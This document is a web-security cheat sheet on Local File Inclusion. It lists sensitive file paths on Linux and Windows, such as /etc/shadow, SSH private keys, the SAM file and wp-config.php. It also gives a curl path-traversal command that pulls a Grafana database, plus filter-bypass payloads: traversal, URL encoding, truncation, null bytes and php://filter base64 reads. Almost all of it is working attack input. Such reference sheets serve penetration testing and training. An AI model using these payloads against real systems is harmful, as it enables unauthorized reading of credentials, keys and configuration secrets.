Introduction¶
Local File Inclusion (LFI) is a type of vulnerability in web applications that allows an attacker to read and potentially execute files on the server that hosts the web application. This occurs when an application includes files without properly sanitizing user input, allowing paths to unintended files to be injected. LFI can lead to information disclosure and remote code execution.
Common LFI Paths on Linux Systems¶
- Accesses the system user account and password file.
/etc/passwd
- Reads the root user email files.
/var/mail/root
- Retrieves SSH private keys from a user home directory.
/home/user/.ssh/id_rsa
- Reads the Apache web server access log.
/var/log/apache2/access.log
- Accesses WordPress configuration files typically located in web server directories
/var/www/html/wp-config.php
- Reads the shadow file containing encrypted passwords and related information for user accounts.
/etc/shadow
curl --path-as-is http://[DOMAIN_NAME]/public/plugins/alertGroups/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
Common LFI Paths on Windows Systems¶
- Retrieves the Windows initialization file, which contains settings.
\windows\win.ini
- Retrieves SSH private keys in the user directory.
C:/Users/viewer/.ssh/id_rsa
-
IIS WEb config file
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
-
Accesses the system hosts file, which contains network information.
C:/Windows/System32/drivers/etc/hosts
- Reads IIS web server log files, which can be exploited for further attacks.
C:/inetpub/logs/LogFiles/W3SVC1/u_ex<date>.log
- Accesses the boot configuration data with startup settings.
C:/boot.ini
- Reads the autoexec batch file used in older versions of Windows for global environment settings.
C:/autoexec.bat
- Accesses the hosts file to view or manipulate network settings.
C:/windows/system32/drivers/etc/hosts
- Retrieves the Security Accounts Manager file storing user credentials.
C:/windows/repair/SAM
- Accesses the WordPress configuration file on XAMPP installations.
../../../../../../../../xampp/htdocs/blog/wp-config.php
- Retrieves SSH private keys from a user profile.
../../../../../../../../Users/Viewer/.ssh/id_rsa
LFI Filter Bypassing Techniques¶
Techniques for bypassing LFI filters using path traversal, filter bypasses, and encoding:
- Basic LFI: Displays the system password file.
/index.php?language=/etc/passwd
- Path Traversal LFI: Uses directory traversal to access critical system files.
/index.php?language=../../../../etc/passwd
- Name Prefix LFI: Similar to basic path traversal with different path depth.
/index.php?language=/../../../etc/passwd
- Approved Path LFI: Bypasses restrictions by starting with an allowed path.
/index.php?language=./languages/../../../../etc/passwd
- Basic Path Traversal Bypass: Uses obscure sequences to bypass simple traversal filters.
/index.php?language=....//....//....//....//etc/passwd
- URL Encoding Filter Bypass: Encodes traversal sequences to evade detection.
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
- Path Truncation: Uses deep recursion to force path truncation.
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[REPEATED ~2048 times]
- Null Byte Obsolescence: Appends a null byte to terminate the string prematurely (not effective on modern systems).
/index.php?language=../../../../etc/passwd%00
- Base64 PHP Reading: Encodes PHP files into base64 for safer retrieval.
/index.php?language=php://filter/read=convert.base64-encode/resource=config